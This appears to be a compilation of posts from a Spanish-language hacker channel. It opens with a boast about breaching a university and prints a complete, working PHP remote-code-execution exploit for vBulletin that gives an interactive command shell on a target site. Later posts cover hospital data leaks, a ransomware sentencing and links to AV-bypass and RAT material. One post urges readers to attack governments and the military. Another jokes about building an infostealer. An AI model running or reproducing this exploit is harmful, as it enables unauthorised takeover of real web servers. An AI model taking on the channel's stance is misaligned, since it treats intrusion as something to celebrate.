Aqui vamos otra vez!!! 🏴‍☠️

Es la 3ra vez en menos de 2 años que logro pwnear a esta universidad 😁

#hacked #fsec

CVE-2026-61511 vBulletin
*
Affected Versions
vBulletin 6.2.1 and prior
vBulletin 6.1.6 and prior
*
Exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

print "+-------------------------------------+\n";
print "| vBulletin 0-day RCE exploit by EgiX |\n";
print "+-------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");

if ($argc != 2) {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
}

function encodeChar($char)
{
    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];

    $char = strval(ord($char));

    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';

    return rtrim($ret, '.');
}

function makePayload($function, $param)
{
    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

    $ret = '';
    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    $ret = "(" . rtrim($ret, '.') . ')((';

    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    return rtrim($ret, '.') . '))';
}

$curl   = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];

curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $cmd .= "; echo _____";
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed! :(\n\n");
}

Mas psyop por parte de la Casa Blanca 👀

covid.gov

#eeuu #twitter #psyop #fuckgob

No hay cosa mas nefasta que lucrar a base de la desgracia de otras personas, no se trata de ética se trata de empatía.

Esta conductas solo lo he visto en desvergonzadas pandillas de Ransomware en donde solo importa el dinero a cualquier costo.

Recuerden muchachos joder a los gobiernos y milicos, pero reporten o reparen los sitios de hospitales y fundaciones benéficas y alardeen de eso, por un mundo mejor.

https://t.me/arcepahleaks

Happy Hacking!!! 🏴‍☠️✌️

Otro grupo hispano se suma a la vergonzosa actividad de filtración de datos de hospitales.

En esta ocasión la victima es un Hospital Mexicano y los datos no son de políticos o multimillonarios, son de gente enferma común y corriente.

El Comando Cibernetico de los EEUU a reportando una serie de suicidios en los ultimos meses

Segun un articulo de Bloomberg el comando cibernetico de los Estados Unidos a tenido 5 bajas en el ultimo mes y no en campo de batalla, si no por suicidios.

La unidad de guerra cibernetica del ejercito a observado un numero inusual de muertes por suicidios entre su personal durante un periodo de un mes este verano. Entre principios de junio y principios de julio, hasta cinco personas que trabajaban en el Comando Cibernético de Estados Unidos o en estrecha colaboración con él se quitaron la vida, según comunicaciones militares internas, registros públicos y la gente.

Articulo:
https://archive.ph/W2tpE

#articulo

Lider de pandilla de Ransomware sentenciado a 16 años de prision en EEUU 🚨

Mediante un comunicado del Departamento de Justicia de los EEEUU se dio a conocer la sentencia de 16 años para Maksim Silnikau, de 40 años quien es el creador y administrador de Ransom Cartel, Silnikau operaba bajo el alias de JP.Morgan, "Targa", "xxx" y lansky.

Silnikau fue detenido en España en el 2024 y extraditado a EEUU a traves de Polonia despues del arrresto de Silnikau la pandilla de Ransomware se vieron interrumpidas por las autoridades.

https://www.justice.gov/usao-edva/pr/belarusian-leader-international-ransomware-scheme-known-ransom-cartel-sentenced-16

#ransomware #ransomcartel #busted

https://github.com/thomasxm/BOAZ_beta

#bypassav #github #maldev

https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon

#threatintel #articulo #rat

FUENTE: https://t.me/SQLRCE0

#articulo #leak #rat #zip

Some dork on Instagram is accusing me of being behind the whole Mecca Chameleon steam malware thingie and says @IntCyberDigest labeled me the criminal, or something, I don't know.

I'm not even mad they called me a criminal, I'm mad they would accuse me of making weak malware.

I've got a family now, I'm basically a born again Christian, I drive the speed limit, wear socks with sandals, and tuck my shirt into my cargo shorts. I don't do anything even close to illegal.

However, if I was going to switch it up and become a full fledged Threat Actor, I am NOT going to do something half-baked like this Mecca Chameleon thing, I'm going to develop an information stealer, partially AI generated, written in like five different programming languages, and storing the payload on something goofy like a Billie Eilish instagram comment. Then I am going to sell it online on some place like Tier1 and deal strictly in XMR.

I am insulted you would think I would stoop so low to do something like a malicious Steam game (or hijack).